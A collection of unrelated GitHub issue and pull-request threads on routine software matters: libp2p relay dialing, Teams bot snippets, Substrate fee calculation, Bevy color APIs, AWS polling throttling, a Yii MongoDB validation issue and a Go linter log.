[x] return/handle proper error codes as defined in https://gist.github.com/whyrusleeping/7665164d04e43171e6cb7b8aa6205645#file-errors-md

[x] Implement dialing

[x] Implement dialing on relay
[x] Implement dialing over a specific relay
[x] Implement onion dialing on chained relay addresses
[x] Implement telescope dialing of chained relay addresses (we can do with onion dialing for now?)

[x] Implement listening - /libp2p/circuit/relay/1.0.0/stop

[x] Implement listening on specific circuit addresses
[x] Announce circuit addresses over identify
[x] check for src address lenght

[x] Implement the circuit-relay

[x] listen for connections relay requests - /libp2p/circuit/relay/1.0.0/hop
[x] dial the requested destination
[x] implement active dialing
[x] implement passive dialing
[x] implement proper error handling

[x] check for dst address length

[x] make a full fledged transport
[x] move tests to proper place

[x] add more test coverage

[x] integrate with libp2p

[x] figure out the best place to plug circuit-relay

[x] add relay config section to ipfs
[x] add relay tests to js-ipfs
[x] latest master for peer-id and peer-info published to npm

Tests:

Dialer

[x] should dial over relay if no common transport exists
[x] should dial over specific relay

[x] should dial over specific peer routed relay
[x] should dial over specific relay on the provided transport
[x] should dial over chained relay address

Listener

[x] Should receive relayed connections

Circuit relay

[x] Should listen on /libp2p/circuit/relay/1.0.0/hop and forward connections to dst

Do you mean documenting the decision behind using transport interface? If that's the case, what's the best place for that, not sure if the spec is appropriate since it's still a low level implementation detail.

@dryajov It has to be clear that is how relay attaches in swarm, a diagram in the repo README and some comments in the code should do fine.

Ah, makes sense. I'll add that.

@diasdavid @lgierth @dignifiedquire  I've added some initial documentation to the readme and a diagram. Please let me know what you think about it - I'm not sure if it communicates the intent correctly, so feedback is appreciated :)

@diasdavid @lgierth @dignifiedquire what do you guys need from me to get this moving? Anything i'm missing? Anything that needs to be done before you continue with the review?

As discussed in IRC. Let's finalize the spec first.

I've added a comment here, proposing a timeboxed decision, https://github.com/libp2p/specs/pull/18.

@diasdavid I've removed onion dialing since we're not supporting multihop for this iteration, this also removed the dependency on modifying swarm, this has reduced the number of outstanding PRs drastically and should make it a lot easier to review and accept.

Thank you for pushing the updates on this PR, @dryajov. I'll review it as soon as possible.
As a side request, please do not use libp2p/javascript-team to ask for reviews, you essentially notified everyone that has ever contributed to the js parts of the project to review a PR. We should only use that when we require everyone's attention.

@daviddias upps didn't know that! Thanks, looking forward for the review!

closed in favor of #14


Changed Example to use Get-MsolRoleMember instead of Get-MsolRole

The original example was actually just getting the roles for a tenancy and did not use the command for which this help is for. Updated example to get role members

Docs Build status updates of commit 3b5d1c4:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

azureadps-1.0/MSOnline/Get-MsolRoleMember.md
:white_check_mark:Succeeded
View (azureadps-1.0)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Hello @michaelk2101 for catching this issue and contribution.
@CelesteDG , this is good to go.


Error: attempt to index upvalue 'fs' (a nil value)

The plugin seems to work fine, but I get the following error when I run :Lf:
Error executing vim.schedule lua callback: ...hare/nvim/site/pack/packer/start/lf.nvim/lua/lf/main.lua:265: attempt to index upvalue 'fs' (a nil value) stack traceback:         ...hare/nvim/site/pack/packer/start/lf.nvim/lua/lf/main.lua:265: in function ''         vim/_editor.lua: in function ''         vim/_editor.lua: in function <vim/_editor.lua:0>

I used the newer fs module that has been added to neovim nightly but I didn't check whether or not the user had it.
I will be home before too long and will fix this. Sorry for the inconvenience


Add left and right margin to center about container

This pull request adds left/right margins to the content on the about pages. It centers the page content to make it easier to read on smaller devices.

Tablet

Phone

I opted to use the pure-css classes rather than altering the css.
Addresses #1273

@Liberatys this looks good to me once you revert the whitespace changes :)


Issue #SB-16362 feat: Fixed redis conn issue for device profile service

This PR can be merged to 2.6.0 branch instead. Closing this PR.


C# and Nodejs code snippets for bot activity

Hi team,
Please add C# and Nodejs code snippets for below bot activities in one-one chat section and channel section.

One-one chat
C#

// Handle message activity
protected override async Task OnMessageActivityAsync(ITurnContext<IMessageActivity> turnContext, CancellationToken cancellationToken)
        {
            turnContext.Activity.RemoveRecipientMention();
            var text = turnContext.Activity.Text.Trim().ToLower();
			await turnContext.SendActivityAsync(MessageFactory.Text($"Your message is {text}."), cancellationToken);
        }

Nodejs
        this.onMessage(async (context, next) => {
            await context.sendActivity(MessageFactory.text("Your message is:" + context.activity.text));
            await next();
        });

Team scope

C#
protected override async Task OnMessageActivityAsync(ITurnContext<IMessageActivity> turnContext, CancellationToken cancellationToken)
{
    var mention = new Mention
    {
        Mentioned = turnContext.Activity.From,
        Text = $"<at>{XmlConvert.EncodeName(turnContext.Activity.From.Name)}</at>",
    };

    var replyActivity = MessageFactory.Text($"Hello {mention.Text}.");
    replyActivity.Entities = new List<Entity> { mention };

    await turnContext.SendActivityAsync(replyActivity, cancellationToken);
}

Nodejs
this.onMessage(async (turnContext, next) => {
    const mention = {
        mentioned: turnContext.activity.from,
        text: `<at>${ new TextEncoder().encode(turnContext.activity.from.name) }</at>`,
    } as Mention;

    const replyActivity = MessageFactory.text(`Hello ${mention.text}`);
    replyActivity.entities = [mention];

    await turnContext.sendActivity(replyActivity);

    // By calling next() you ensure that the next BotHandler is run.
    await next();
});

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0d3bb613-220a-58f0-f819-a375031e5447
Version Independent ID: ea94ec58-4911-1596-e7fe-9af6b59a2f0f
Content: Bots and SDKs - Teams
Content Source: msteams-platform/bots/bot-features.md
Product: msteams
GitHub Login: @surbhigupta
Microsoft Alias: anclear

Redirecting to doc team for update.


[Frame-Feature] queryActualFee for when the weight from an extrinsic success event in known.

Summary
Currently, we can find the estimated fee for an extrinsic that had yet to be submitted using payment_queryInfo, but there is no easy way to find the precise fee information about an extrinsic that is already a part of a block. I would love to add an RPC method to address this. From my understanding and testing, for chains such as Polkadot, Kusama, and Westend rpc::payment::queryInfo is sufficient for fee calculations, but for other given parachains such as Acala, and Shiden for example, this does not hold true as there are marginal differences between the fees. Subscan is able to calculate the fees correctly for all the chains they support, so I reached out to see their method and wanted to see if we could apply it to an RPC method.
Example
Subscan uses the following algorithm to determine the actual fee of an extrinsic.
(base_fee + len_fee)+(( adjusted_weight_fee/estimated_weight) * actual_weight)
actual_weight -> via Known System::ExtrinsicSuccess event
estimated_weight -> via GetDispatchInfo::get_dispatch_info
base_fee -> via compute_fee_raw
len_fee -> via compute_fee_raw
adjusted_weight_fee -> via compute_fee_raw
Notes
I wanted to first see if something like this hold merit, and if so I am happy to tackle it.
rel: https://github.com/paritytech/substrate-api-sidecar/issues/969

Shouldn't this be fixed by https://github.com/paritytech/substrate/issues/11595?
Aka there is no need for a rpc?

Yea so that would work for all future blocks, but in our case we would need something like the calculation above for historic blocks to maintain that integrity for all fees in the past.
I can see from substrate's perspective how this could just cloud the runtime with more rpcs when there is a current solution already in place. Happy to have this closed if that makes sense, currently writing a solution locally for us using sp_arithmetic here. I am not super familiar with the crate, so its going to take some playing around to get the precision correct.

Yea so that would work for all future blocks, but in our case we would need something like the calculation above for historic blocks to maintain that integrity for all fees in the past.

As the rpc would require a runtime api, it would also not be backwards compatible. So, for the past you probably can only use a custom solution.


Color Renaming on Palette Regeneration

Hi Team,
First of all, this is awesomeness! Quick question:
Is there a way to maintain the custom names I'm giving the colors that are outputted in the artboard? For example, if I rename "Teal" to "Primary 1" on the output artboard and proceed to add another color to the document colors > regenerate output artboard, then "Primary 1" changes back to "Teal" even if I've locked the layer. Perhaps I'm missing something or doing something incorrectly. Thoughts?
Thanks!

AK

Thank you, @AshwinK!
You're certainly not doing anything wrong. The plugin right now is completely stateless. Every time you click on "Generate Color Palette" the plugin takes the colors in the Document Colors and creates all the color layers from scratch, assigning the name given in the Dataset file.
We thought the possibility of adding an alias to each color, and we like your approach to changing the color name for each color value if needed. We'll definitely add something that can solve the problem as soon as we can, so stay tuned!
– Lalo

Fixed! ;)


graph submodule

The Working with Graphs section of the MS points to a few problems and solutions for the interconversion of trees and graphs. It would be very useful for the RI to implement these solutions, thus saving the user the trouble of doing it themselves.
Items include:

[x] #21
[x] #22
[x] #23
[x] #24
[x] #25

Transformation may or may not be better placed in their own submodule.

Closed by #9dfa6429c31f0419b7586d1ba23613bc3d1b6560


Remove character limit on Talk Outline

This is a leftover remnant from porting this over from RubyConf/RailsConf, where the field we're calling Talk Outline was previously Abstract. The way Abstract was used, it was wise to put a ~600-character limit on it, since these were going to be copied over to the conference program.
That's not the case for the Talk Outline for CodeLand, and moreover, when proposers have been receiving this error message, it discourages them from writing as much in Talk Outline as we may want to hear.
Can we simply remove the character limit completely from this field? This is an open CFP, but as we only have about 25 submissions so far, we think this would be a good time to change it and then just update the people who've already submitted that they can expand their outlines now if need be.

Closed via https://github.com/forem/cfp-app/pull/35

Hi Josh, I'm sorry to re-open this so soon! But I just realized that while we removed the character limit that was bringing up an error when someone tried to submit a Talk Outline over 600 characters, we didn't remove a separate one that limits proposers to only 1,005 characters on the front end (it simply doesn't let you type more than 1,005 characters). Can we remove this one as well?

Whoops, sorry for not catching that @abbyphoenix, will do!


Adds back in way to convert color to u8 array, implemented for the two RGB color types, also renames Color::linear to Color::to_linear.

Objective
One thing missing from the new Color implementation in 0.14 is the ability to easily convert to a u8 representation of the rgb color.
(note this is a redo of PR https://github.com/bevyengine/bevy/pull/13739 as I needed to move the source branch
Solution
I have added to_u8_array and to_u8_array_no_alpha to a new trait called ColorToPacked to mirror the f32 conversions in ColorToComponents and implemented the new trait for Srgba and LinearRgba.
To go with those I also added matching from_u8... functions and converted a couple of cases that used ad-hoc implementations of that conversion to use these.
After discussion on Discord of the experience of using the API I renamed Color::linear to Color::to_linear, as without that it looks like a constructor (like Color::rgb).
I also added to_srgba which is the other commonly converted to type of color (for UI and 2D) to match to_linear.
Removed a redundant extra implementation of to_f32_array for LinearColor as it is also supplied in ColorToComponents (I'm surprised that's allowed?)
Testing
Ran all tests and manually tested.
Added to_and_from_u8 to linear_rgba::tests
Changelog
visible change is Color::linear becomes Color::to_linear.

@alice-i-cecile I'm really sorry I had to recreate my PR to pull from a different branch. Code all the same.
Originally reviewed by @viridia (apologies again)

Wondering whether Color::to_linear() should be Color::to_linear_rgba to match the constructor naming and the type naming? (Color::linear_rgba(r, g, b, a), LinearRgba)

to_linear_rgba is my preference.


.NET Standard support

Currently the library can only be used when targeting net451.
Support for .NET Standard should be added to support more .NET platforms.
Depends on:

[ ] Azure/azure-documentdb-dotnet#153

The DocumentDB SDK will be updated with .NET Standard support around the Connect(); event which starts on 2016-11-16 and ends on 2016-11-18.
If everything goes well I can release a compatible version this week / weekend.

Implemented in 1b8fb438b723009241c0c8c4b9a9f8c9ced8a496

Notice:
The DocumentDB SDK for .NET Core currently seems to be a lot slower with up to 3-6 times the duration for operations.


FanEntityFeature.TURN_OFF

Logger: homeassistant.components.fan
Source: components/fan/init.py:295
integration: Fan (documentation, issues)
First occurred: 21:03:21 (2 occurrences)
Last logged: 21:03:21
Entity None (<class 'custom_components.midea_dehumidifier_lan.fan.DehumidiferFan'>) does not set FanEntityFeature.TURN_OFF but implements the turn_off method. Please create a bug report at https://github.com/nbogojevic/homeassistant-midea-air-appliances-lan/issues
Entity None (<class 'custom_components.midea_dehumidifier_lan.fan.DehumidiferFan'>) does not set FanEntityFeature.TURN_ON but implements the turn_on method. Please create a bug report at https://github.com/nbogojevic/homeassistant-midea-air-appliances-lan/issues

I've created an PR for these entity features. It should fix the warnings we're seeing.

Thank you so much! I've merged your pull request


Agressive polling causes rate limit hits

All AWS sources poll AWS APIs in a for loop, which causes a lot of issues due to rate limiting.
At the very least we should throttle our polling with a time.Ticker.

Another option would be to offer a push mode as opposed to the current pull model, and create Lambdas on behalf of the user to forward events to us.
Example
[SNS] --- event ---> [Lambda] --> [SNS event source]

The cost would increase due to the Lambda calls, but it would enable an actual "event-driven" and more immediate approach. Both modes could coexist and be controlled by a spec attribute.
@sebgoa what do you think?

If our sources accept events one at a time, limit polling with ticker may negatively affect performance, especially if events creation rate is higher then tick duration. I'd think about dynamic tick interval so that if there are events coming from the source we don't throttle our requests but if there are none - we start to sleep longer with each empty response, up to say 5 seconds. Wdyt?
Regarding push mode, I'm wondering how Lambda would receive events and is there a way for us to copy this behavior. I can take a look at this after we implement simple throttling

If our sources accept events one at a time, limit polling with ticker may negatively affect performance

Our sources currently don't accept events, they are all pull based and work by polling AWS APIs, caching the result, comparing with the last observed batch, and computing new events when things have changed. Those events can be sent in bulk on every ticker period if needed.
The current for { call_aws() } approach hammers the API. Not only it will get costly on the long run, but one a rate-limit is applied it affects every else negatively.

Regarding push mode, I'm wondering how Lambda would receive events and is there a way for us to copy this behavior. I can take a look at this after we implement simple throttling

Most AWS services can actually generate events!.. but only to AWS Lambda or SNS 🤡  (vendor lock-in, anyone?). My suggestion is that our event sources hook into those services instead of using the polling approach.

Our sources currently don't accept events, they are all pull based and work by polling AWS APIs

yeah, I meant "if our sources can ingest a batch data", otherwise ticker duration will define our sources performance

My suggestion is that our event sources hook into those services instead of using the polling approach

ok, I'll investigate that

I concur, introducing a period reduces the performance. I'd prefer the push model by far, however we want to implement it.

in most common cases pull should use an exponential backoff, except is we can do some websocket connection with the service and receive events in real time.
I don't like push because you have to open an endpoint to the public internet and you need to secure it. It becomes an entry door. Hence I usually favor pull method.
That said some sources like SNS cannot be a pull so we will have to handle it indeed like github and gitlab.
Using SNS for all aws sources however would mean that the API keys we get from the user will have enough privileges to configure the services and the SNS.
So would be me doing it :) I would do two things:

quick stop gap measure on our pull sources with a time interval that increases up to "20s". I would check the rate limiting limits.
I would implement the SNS source like gitlab and see how to properly secure that webhook.

Then with that experience I would decide if I can use SNS as a proxy for all sources. Could be that it is a mode that we can turn on/off.


Bubble Sort VB .net Implementation

Hey @dovisutu Sorry about the wait, we need someone to review this PR and unfortunately do not have a local expert in VB. We are waiting on a review before merging this one.

Well... Actually I'm doubted about the Realizing of Bubble Sort, because the input array is so different.
in C++,C and a lot of languages: [An integer array]
int input[] = {1, 45, 756, 4569, 56, 3, 8, 5, -10, -4};
in D: [A random float array]
auto input = generate!(() => uniform01!float).take(10).array;
in Julia and some other languages: [A float/double array]
a = [1., 3, 2, 4, 5, 10, 50, 7, 1.5, 0.3]
in Matlab: [A random integer array]
array = floor(rand(1, 7) * 100);
Anyhow, in my next commit, I'll change my reference from C++ [Because I can read it easier] to Julia [Leios's Standard?]

BTW, there's a VB .net document here, because I'm implementing bubble sort, this may be helpful.

BTW, there's a vb .net document here, since I'm implementing bubble sort, this may be work.

[lang: vb]

Sorry this took so long, but we don't accept sorting algorithm PRs any more.
I'm closing this.


Transfers restored from disk after service restarts are not progressing.

When I start a transfer that has a long-running process (like retrieving files from tape via the JDP) and then restart the DTS, the transfer does not progress after the restart. Its status is still persistent in the service, and shows as "staging", for example, but the transfer task itself is not updated properly.
I can reproduce this issue by

using the dtspy script below to request a transfer
stopping and restarting the service in Spin
checking the status of the transfer
watching the logs (nothing)

import dts
import os

def main():
    # connect to the DTS
    token = os.getenv('DTS_KBASE_DEV_TOKEN')
    dts_client = dts.Client(api_key = token,
                            server = "https://lb-dts.staging.kbase.us")
                            #server = "http://localhost:8080")
    xferId = dts_client.transfer(file_ids = ['JDP:52902893067c013e2b062315'],
                                 source = 'jdp',
                                 destination = 'kbase')
    print(f'Transfer ID: {xferId}')

if __name__ == '__main__':
    main()

Found it! The StagingIds field of the jdp.Database type is not persistent between DTS restarts. This bug has been present from the start. I'll have to figure out a way to make file staging requests persistent, or get rid of this caching layer.


TempEntities in S2

I believe the TempEntities got completely removed in S2 replays (or to be precised, moved into DataUserMessages).
It might be good to remove the TempEntity processor, or at least indicate that it is deprecated.
References:

I ran into the issue when I tried to use the OnTempEntity event and it did not fire at all.
The net messages for TempEntities got removed from S1 to S2
New entries in the DotaUserMessages

You're right, I figured instead of deprecating, I'd better supply the new ones with a common interface (like combat log). Just have not come around to doing it yet.
Is there any useful information to get from temp entities?

Temp entities are primarily used for projectiles and animations. I'm planning to used it for quite a lot, i.e. timing (and targeting) of attacks, animation canceling, dodging of hits/spells.
I haven't looked into the specific fields available in the S2 ones, but I guess it didn't change much.


Create mpe

for domains @mpe.mpg.de

@grburgess Pull request merged. Thank you. I am renaming the file for you to reflect this repository rules (.txt extension).


Add Browserless Plugin Detection Support

Do you have a specific plugin in mind?

@abrahamjuliot - https://github.com/browserless/chrome

Taking a closer look at this just now. It's a connection service. The browser I connected to was Chrome 102 on Linux, so there is that. However, by all appearances it is a clean browser, so nothing can be detected.
If features were missing or modified, we could possibly find a stable pattern to fingerprint, but it looks clean.

Closing for now, but let's re-visit with other tools.


Cache#_fetch correctly handles cached 'false'

ActiveSupport::Cache now caches 'false': https://github.com/rails/rails/commit/cd392fd4da08d1d3b73fa66e945594b89d5f75de
This PR causes Cache#_fetch to return a cached 'false' without performing another lookup.

Looks good!

Thanks @ragalie!


Breakpoint and test gutter icon colors get mixed up

Don't think this a new bug but finally tracked it down.
Steps to Reproduce:

place a breakpoint right before a test (in a line that's empty):

debug the test. it becomes:

and then

Then I hit step over and saw this:

(the arrow should be green)

Duplicates https://github.com/microsoft/vscode/issues/114776


Year Change

Not sure if youve realised but 2020 happened and its now 2021.

Not a very helpful comment... wouldn't it be better to put 2019-2021 since the license was added in that year?

Not a very helpful comment... wouldn't it be better to put 2019-2021 since the license was added in that year?

License file wasn't added in 2019 but updated to 2019 back then - but from 'unknown repository' to 'master' already shows, another troll PR.

License file wasn't added in 2019 but updated to 2019 back then - but from 'unknown repository' to 'master' already shows, another troll PR.

bruh people shouldn't be randomly pr'ing without knowing what it does

bruh people shouldn't be randomly pr'ing without knowing what it does


counts between solr and django seem to disagree

Description of the bug
The counts as generated from resource listing and the counts of resources in discover differ for the various kinds of resources.
Steps to reproduce the bug:

List resources in REST API.
Count discoverable, public, published resources.
Go to discover
Count the same resources in facets.
The number differ

Expected behavior
The numbers should be the same.

Adding @martinseul for review of Discover Page issues

believe resolved in 1.53


Apply rules to unselected field in query

What steps will reproduce the problem?
In the model rules
public function rules() {
    return [
        [['status', 'status', 'count'], 'filter', 'filter' => function($value){
            return (int)$value;
        }],
    ];
}

and for save just name in model
$model = Model()->find()->select(['_id', 'name'])->one();
$model->name = 'test'
$model->save();

What's expected?
Just save name and not manipulate other fields.
What do you get instead?
Before in the version ext-mongo it's work and just changes affect to selected field but in new one also apply to rules field and make all of it 0.
Additional info

Q
A

Yii version
dev-master

Yii MongoDB version
dev-master

MongoDB server version
3.2

PHP version
5.6

Operating system
Ubuntu 14.04

Before in the version ext-mongo it's work

Unable to reproduce with tag 2.0.5.
Unit test:
public function testIssue129()
    {
        $record = new Customer;
        $record->name = 'new name';
        $record->email = 'new email';
        $record->address = 'new address';
        $record->status = 7;
        $record->file_id = 10;
        $record->save();

        $model = Customer::find()->select(['_id', 'name'])->one();
        $model->name = 'test';
        $model->save();

        $record = Customer::find()->one();
        $this->assertEquals(7, $record->status);
    }

Fails:
There was 1 failure:

1) yiiunit\extensions\mongodb\ActiveRecordTest::testUpdate2
Failed asserting that 0 matches expected 7.

apply to rules field and make all of it 0.

This is expected behavior. You should avoid validation of not selected fields ot make it work as you describe:
$model = Model()::find()->select(['_id', 'name'])->one();
$model->name = 'test';
$model->validate(['name']);
$model->save(false);


Fix pre commit

Which issue does this PR close?

Closes #.
Rationale for this change

pre-commit.sh assumes old directory structure (where it is under a rust dir)
What changes are included in this PR?

Are there any user-facing changes?

Thank you, I had no idea this was even there :sweat_smile:


Assert single instance of ImGuiLayer

Describe the issue (if no issue has been made)
Multiple instances of ImGuiLayer could be created and pushed into the Application's LayerStack, resulting in ImGui being initialized more than once in OnAttach function.
Proposed fix
Assert single instance in ImGuiLayer's constructor.

Assume you would create 2 layerstacks for 2 different windows, you could add one imgui layer to each stack? I don't see a practical use, but it could be possible?
In that aspect, wouldn't it be a solution to only initialize it once? Such that the 2nd instance would still work, rather than not allowing it?

Assume you would create 2 layerstacks for 2 different windows, you could add one imgui layer to each stack? I don't see a practical use, but it could be possible?
In that aspect, wouldn't it be a solution to only initialize it once? Such that the 2nd instance would still work, rather than not allowing it?

Unnecessary.


cephfs: go-ceph API doesnt return the CLI error like Error ENOENT

ceph fs CLI used to return the errors listed in https://github.com/ceph/ceph-csi/blob/master/internal/cephfs/errors.go#L25-L35.
incase if the subvolume is not present its returning
E1129 08:02:48.615941       1 volume.go:85] ID: 52 Req-ID: 0001-0024-76ff0acd-952d-4139-81f4-e99ae3362e7d-0000000000000001-aae6553a-3218-11eb-bece-0242ac110012 failed to get subvolume info for the vol csi-vol-aae6553a-3218-11eb-bece-0242ac110012: rados: ret=-2, No such file or directory: "subvolume 'csi-vol-aae6553a-3218-11eb-bece-0242ac110012' does not exist"

more logs at https://jenkins-ceph-csi.apps.ocp.ci.centos.org/blue/rest/organizations/jenkins/pipelines/mini-e2e-helm_k8s-1.19/runs/221/nodes/104/steps/107/log/?start=0 we need to check is really go-ceph is returning the CLI errors like ceph fs commands or we need to rework on error handling again.

cc @nixpanic

current code in  master is working because this check https://github.com/ceph/ceph-csi/blob/28793efc9026c0addec96c8d7944d9065ad3a0fe/internal/cephfs/volume.go#L100-L102 is wrong we should not check for ! not here.

different ceph version returns different error messages more info on https://github.com/ceph/ceph-csi/commit/1e5370a1f3aecec5339d44ffea2c9778310d49f0


Do I have to use the MGSwipeTableCell ? If i want to use my custom cell, how should i do?

Yes, you can inherit the custom class from MGSwipeTableCell

OK, thanks. I was just wondering if developers could use the category of MGSwipeTableCell, that will be more convenient!

This can be closed now, thanks for the reply mrhaxic


SCons always uses relative path even when absolute path is set with LIBPATH

I am compiling a complex project with multiple shared library which will be linked to a code not using scons so I need the registered paths to be absolute. My sconscript has the following code
common_build_dir = os.getcwd() + os.sep+ 'build' +os.sep() + 'common'
dynamic_lib = env.SharedLibrary(target = 'dynamic_lib',
source = [srcs],
LIBS = 'common',
LIBPATH= common_build_dir,
RPATH = common_build_dir
)
When I run otool the output is:
./lib/libTdynamic_lib.dylib:
build/dynamic_lib/libdynamic_lib.dylib (compatibility version 0.0.0, current version 0.0.0)
build/common/libcommon.dylib (compatibility version 0.0.0, current version 0.0.0)
and I can see from the build commands that scons is indeed omitting the complete path and only referencing from relative to wheres construct is defined.
PS: I tried joins the scons mailing list but have not received an approval email

which version of SCons, python, platform?
Also can you paste the relevant part of your build log?

check your spam folder for approval email.

yes that is correct. I am sorry I missed where you were requesting the platform also.

I got the confirmation email and I am now in the scons user groups. Should I continue the discussion there?

please.
On Fri, May 25, 2018 at 6:57 AM, msbm97<EMAIL_ADDRESS>wrote:

I got the confirmation email and I am now in the scons user groups. Should
I continue the discussion there?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/SCons/scons/issues/3128#issuecomment-392030839, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAFBNMbAK2h3nRkXonLhuJwPHR6FkxeUks5t1_GXgaJpZM4UMYQG
.

I'm going to close this issue as it seems the real issue was getting RPATH to work?


Fix aarch64 linux build.

Building melior for Linux ARM doesn't work because of FFI types. This PR fixes this by making the compiler select the target pointer type automatically. It's the same issue we had in tblgen-rs-alt.

Thank you for the changes!


dispatcher: Ensure processUpdatesLock is unlocked

defer the unlock so it is not missed.
Fixes #2184

LGTM


contain_package and resource aliases

I'm having a problem with the contain_package matcher.
The it block:
it 'should not install the haproxy package' do
  subject.should_not contain_package('haproxy')
end

In the haproxy::install class, whatever the package name is, the package resource is always given the alias "haproxy". When prying into the test, i found that the catalogue contains these resources:
[2] pry(#<Puppet::Resource::Catalog>):1> @resources
=> [["Stage", "main"],
 ["Class", "Settings"],
 ["Class", "main"],
 ["Class", "Haproxy::Params"],
 ["Haproxy::Instance", "group1"],
 ["Haproxy::Config", "group1"],
 ["Haproxy::Install", "group1"],
 ["Haproxy::Service", "group1"],
 ["Anchor", "group1::haproxy::begin"],
 ["Anchor", "group1::haproxy::end"],
 ["File", "/etc/haproxy-group1"],
 ["Concat", "/etc/haproxy-group1/haproxy-group1.cfg"],
 ["Concat::Fragment", "haproxy-group1-00-header"],
 ["Concat::Fragment", "haproxy-group1-haproxy-base"],
 ["File", "/var/lib/haproxy"],
 ["Package", "customhaproxy"],
 ["File", "/etc/default/haproxy-group1"],
 ["Service", "haproxy-group1"],
 ["Concat_file", "/etc/haproxy-group1/haproxy-group1.cfg"],
 ["Concat_fragment", "haproxy-group1-00-header"],
 ["Concat_fragment", "haproxy-group1-haproxy-base"]]

As you can see, there is no Package['haproxy']. However, there is an alias:
[4] pry(#<Puppet::Resource::Catalog>):1> @aliases
=> {"Package[customhaproxy]"=>[["Package", "haproxy"]]}

When I comment out the alias in install.pp, the tests pass. I also found that this does not happen with Puppet 4.10.4 but it does happen with Puppet 5.0.0.
Further, when this commit is reverted in Puppet 5.0.0, the tests pass: https://github.com/puppetlabs/puppet/commit/3aa97102de760b10b9afd8a74bc5b4cfa05ef31a
Any thoughts? Is this an rspec-puppet issue?

This is probably something that you'll need to change your tests for. It didn't cause a problem in the past because those aliases weren't explicitly created, but given that Package[customhaproxy] is aliased to Package[haproxy], then contain_package('haproxy') should match that resource and I'm leaning towards this behaviour being correct.
[3] pry(#<Puppet::Resource::Catalog>):1> resource('Package', 'haproxy')
=> Package[customhaproxy]{:name=>"customhaproxy", :ensure=>"present", :alias=>"haproxy"}

It makes sense to me that you should be able to refer to this as Package[haproxy] or Package[customhaproxy] in the tests, just like you would in the manifest itself, and in that case you shouldn't be expecting Package[haproxy] to not be in the catalogue.

Yeah, that makes sense to me. Regardless, if there's going to be an alias, we need to find another way to test. Thanks @rodjek !


gosimple and staticcheck linter don't find types defined in other files in the same package.

 Current Filetype: go
Available Linters: ['go build', 'gofmt', 'golint', 'gometalinter', 'gosimple', 'go vet', 'staticcheck']
  Enabled Linters: ['gosimple']
 Linter Variables:

 Global Variables:

let g:ale_echo_cursor = 1
let g:ale_echo_msg_error_str = 'Error'
let g:ale_echo_msg_format = '%s'
let g:ale_echo_msg_warning_str = 'Warning'
let g:ale_enabled = 1
let g:ale_fix_on_save = 0
let g:ale_fixers = {}
let g:ale_keep_list_window_open = 0
let g:ale_lint_delay = 200
let g:ale_lint_on_enter = 1
let g:ale_lint_on_save = 1
let g:ale_lint_on_text_changed = 'always'
let g:ale_linter_aliases = {}
let g:ale_linters = {'go': ['gosimple']}
let g:ale_open_list = 0
let g:ale_set_highlights = 1
let g:ale_set_loclist = 1
let g:ale_set_quickfix = 0
let g:ale_set_signs = 1
let g:ale_sign_column_always = 0
let g:ale_sign_error = '>>'
let g:ale_sign_offset = 1000000
let g:ale_sign_warning = '⚠'
let g:ale_statusline_format = ['%d error(s)', '%d warning(s)', 'OK']
let g:ale_warn_about_trailing_whitespace = 1
  Command History:

(executable check - success) gosimple
(started) ['bash', '-c', 'gosimple ''/tmp/nvimuKWnOb/4/raft.go''']
(started) ['bash', '-c', 'gosimple ''/tmp/nvimuKWnOb/7/raft.go''']
(started) ['bash', '-c', 'gosimple ''/tmp/nvimuKWnOb/8/raft.go''']
(started) ['bash', '-c', 'gosimple ''/tmp/nvimuKWnOb/10/raft.go''']
(finished - exit code 1) ['bash', '-c', 'gosimple ''/tmp/nvimuKWnOb/11/raft.go''']

<<<OUTPUT STARTS>>>
/tmp/nvimuKWnOb/11/raft.go:25:11: undeclared name: remoteKVDatabase
/tmp/nvimuKWnOb/11/raft.go:33:14: undeclared name: remoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:125:4: undeclared name: KVDatabase
/tmp/nvimuKWnOb/11/raft.go:150:65: undeclared name: remoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:179:51: undeclared name: remoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:192:49: undeclared name: remoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:279:56: undeclared name: KVTable
/tmp/nvimuKWnOb/11/raft.go:289:42: undeclared name: Row
/tmp/nvimuKWnOb/11/raft.go:313:42: undeclared name: SeekAt
/tmp/nvimuKWnOb/11/raft.go:313:99: undeclared name: Row
/tmp/nvimuKWnOb/11/raft.go:326:51: undeclared name: SelectArgs
/tmp/nvimuKWnOb/11/raft.go:326:89: undeclared name: Row
/tmp/nvimuKWnOb/11/raft.go:43:72: undeclared name: KVManager
/tmp/nvimuKWnOb/11/raft.go:117:30: invalid operation: m.conn (variable of type *invalid type) has no field or method conn
/tmp/nvimuKWnOb/11/raft.go:128:18: undeclared name: newRemoteKVDatabase
/tmp/nvimuKWnOb/11/raft.go:155:15: undeclared name: newRemoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:195:12: undeclared name: remoteKVConnection
/tmp/nvimuKWnOb/11/raft.go:280:9: undeclared name: newKVTable
/tmp/nvimuKWnOb/11/raft.go:285:10: invalid operation: db.remote (variable of type *invalid type) has no field or method Put
/tmp/nvimuKWnOb/11/raft.go:291:10: invalid operation: db.remote (variable of type *invalid type) has no field or method PutMany
/tmp/nvimuKWnOb/11/raft.go:300:14: invalid operation: db.remote (variable of type *invalid type) has no field or method Get
/tmp/nvimuKWnOb/11/raft.go:309:10: invalid operation: db.remote (variable of type *invalid type) has no field or method Delete
/tmp/nvimuKWnOb/11/raft.go:315:13: undeclared name: Row
/tmp/nvimuKWnOb/11/raft.go:319:15: invalid operation: db.remote (variable of type *invalid type) has no field or method Select
/tmp/nvimuKWnOb/11/raft.go:328:20: undeclared name: Row
/tmp/nvimuKWnOb/11/raft.go:332:20: invalid operation: db.remote (variable of type *invalid type) has no field or method BatchSelect
/tmp/nvimuKWnOb/11/raft.go:340:2: invalid operation: db.remote (variable of type *invalid type) has no field or method Close
/tmp/nvimuKWnOb/11/raft.go:345:10: invalid operation: db.remote (variable of type *invalid type) has no field or method FlushAndClose
